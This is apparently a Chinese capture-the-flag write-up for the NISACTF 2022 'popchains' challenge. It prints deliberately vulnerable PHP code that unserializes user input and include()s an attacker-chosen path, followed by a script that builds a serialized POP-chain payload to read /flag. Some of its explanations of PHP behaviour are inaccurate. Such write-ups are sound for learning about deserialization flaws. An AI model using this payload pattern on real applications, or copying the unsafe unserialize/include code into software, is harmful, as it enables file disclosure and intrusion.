@[toc]@反序列化
[NISACTF 2022]popchains
提示:
__construct()创建对象时调用
__destruct()销毁对象时调用
__toString()把对象转换为字符串,打印一个对象时被调用
__sleep()在序列化前被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()将在序列化之后立即被调用
__invoke()魔术⽅法是方法对象被当做函数方法进⾏调⽤的时候所触发
__call()当要调用的方法不存在或权限不足时,会自动调用__call 方法
__get()读取不可访问或者不存在的属性的时候,进行赋值
__set()方法的作用是为私有成员属性设置值,它含有两个参数,第一个参数是要赋值的属性名,第二个参数是要給属性赋的值,没有返回值,这个方法同样不用手动调用,实在设置私有属性值得时候自动调用的
题目源码
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
解题思路
提示:include()文件包含命令
#include叫做“文件包含命令”,用来引入对应的头文件(
.h文件) 简单的理解:就是将头文件的内容插入到该命令的所在位置, 从而把头文件的内容和当前的源文件连接成一个源文件。 既:复制-粘贴。
根据include倒推,分析执行顺序,构建pop链条
append->__invoke->__get->__construct($this->page = $file;)->__toString->__wakeup
构造pop链
提示:preg_match(),使用url编码绕过
Happy New Year~ MAKE A WISH
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="/flag";
}
class Make_a_Change{
public $effort;
}
$a = new Road_is_Long();
$b = new Try_Work_Hard();
$c = new Make_a_Change();
$a->page = $a;
$a->string = $c;
$c->effort = $b;
echo urlencode(serialize($a));
?>
提示:因为var是protectedprotected(受保护)类,允许被其自身以及其子类和父类访问,但不允许对其修改,故pop链调用Try_Work_Hard()为终止,通过__invoke()执行append函数方法执行include()命令调用var的值